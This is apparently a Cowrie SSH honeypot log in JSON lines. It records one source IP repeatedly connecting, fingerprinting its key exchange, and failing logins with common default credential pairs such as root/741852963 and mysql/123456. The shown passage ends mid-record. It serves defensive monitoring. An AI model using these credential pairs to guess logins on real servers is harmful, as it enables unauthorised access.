{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:45.851906Z","src_ip":"192.109.200.78","session":"286f4af0c27a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:46.339581Z","src_ip":"192.109.200.78","session":"286f4af0c27a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:47.427088Z","src_ip":"192.109.200.78","session":"286f4af0c27a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52772,"dst_ip":"10.17.0.5","dst_port":22,"session":"38837827024a","protocol":"ssh","message":"New connection: 192.109.200.78:52772 (10.17.0.5:22) [session: 38837827024a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:50.044101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:50.048863Z","src_ip":"192.109.200.78","session":"38837827024a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:50.134158Z","src_ip":"192.109.200.78","session":"38837827024a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"******","message":"login attempt [ubuntu/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:50.391300Z","src_ip":"192.109.200.78","session":"38837827024a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:51.476719Z","src_ip":"192.109.200.78","session":"38837827024a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52802,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b33c0485979","protocol":"ssh","message":"New connection: 192.109.200.78:52802 (10.17.0.5:22) [session: 3b33c0485979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:54.094417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:54.102840Z","src_ip":"192.109.200.78","session":"3b33c0485979","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:54.185459Z","src_ip":"192.109.200.78","session":"3b33c0485979","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flink","password":"flink","message":"login attempt [flink/flink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:54.650724Z","src_ip":"192.109.200.78","session":"3b33c0485979","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:55.736967Z","src_ip":"192.109.200.78","session":"3b33c0485979","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33560,"dst_ip":"10.17.0.5","dst_port":22,"session":"923ff8acb92c","protocol":"ssh","message":"New connection: 192.109.200.78:33560 (10.17.0.5:22) [session: 923ff8acb92c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:58.357975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:58.363840Z","src_ip":"192.109.200.78","session":"923ff8acb92c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:58.446685Z","src_ip":"192.109.200.78","session":"923ff8acb92c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741852963","message":"login attempt [root/741852963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:58.706032Z","src_ip":"192.109.200.78","session":"923ff8acb92c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:59.796040Z","src_ip":"192.109.200.78","session":"923ff8acb92c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33588,"dst_ip":"10.17.0.5","dst_port":22,"session":"916c111fc52c","protocol":"ssh","message":"New connection: 192.109.200.78:33588 (10.17.0.5:22) [session: 916c111fc52c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:02.452831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:02.554200Z","src_ip":"192.109.200.78","session":"916c111fc52c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:02.558408Z","src_ip":"192.109.200.78","session":"916c111fc52c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:02.944850Z","src_ip":"192.109.200.78","session":"916c111fc52c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:04.034981Z","src_ip":"192.109.200.78","session":"916c111fc52c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33604,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ae5e42b02a0","protocol":"ssh","message":"New connection: 192.109.200.78:33604 (10.17.0.5:22) [session: 8ae5e42b02a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:07.728226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:07.733012Z","src_ip":"192.109.200.78","session":"8ae5e42b02a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:07.894216Z","src_ip":"192.109.200.78","session":"8ae5e42b02a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"123456","message":"login attempt [mc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:08.192735Z","src_ip":"192.109.200.78","session":"8ae5e42b02a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:09.279148Z","src_ip":"192.109.200.78","session":"8ae5e42b02a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50454,"dst_ip":"10.17.0.5","dst_port":22,"session":"72a28dc45500","protocol":"ssh","message":"New connection: 192.109.200.78:50454 (10.17.0.5:22) [session: 72a28dc45500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:10.840793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:10.845705Z","src_ip":"192.109.200.78","session":"72a28dc45500","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:11.006141Z","src_ip":"192.109.200.78","session":"72a28dc45500","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver","message":"login attempt [mcserver/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:11.254253Z","src_ip":"192.109.200.78","session":"72a28dc45500","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:12.338341Z","src_ip":"192.109.200.78","session":"72a28dc45500","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50470,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9e9c712f8ca","protocol":"ssh","message":"New connection: 192.109.200.78:50470 (10.17.0.5:22) [session: d9e9c712f8ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:14.904723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:14.910020Z","src_ip":"192.109.200.78","session":"d9e9c712f8ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:14.994273Z","src_ip":"192.109.200.78","session":"d9e9c712f8ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:15.244199Z","src_ip":"192.109.200.78","session":"d9e9c712f8ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:16.336828Z","src_ip":"192.109.200.78","session":"d9e9c712f8ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55416,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d3ad78e48cd","protocol":"ssh","message":"New connection: 192.109.200.78:55416 (10.17.0.5:22) [session: 1d3ad78e48cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:19.119772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:19.124075Z","src_ip":"192.109.200.78","session":"1d3ad78e48cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 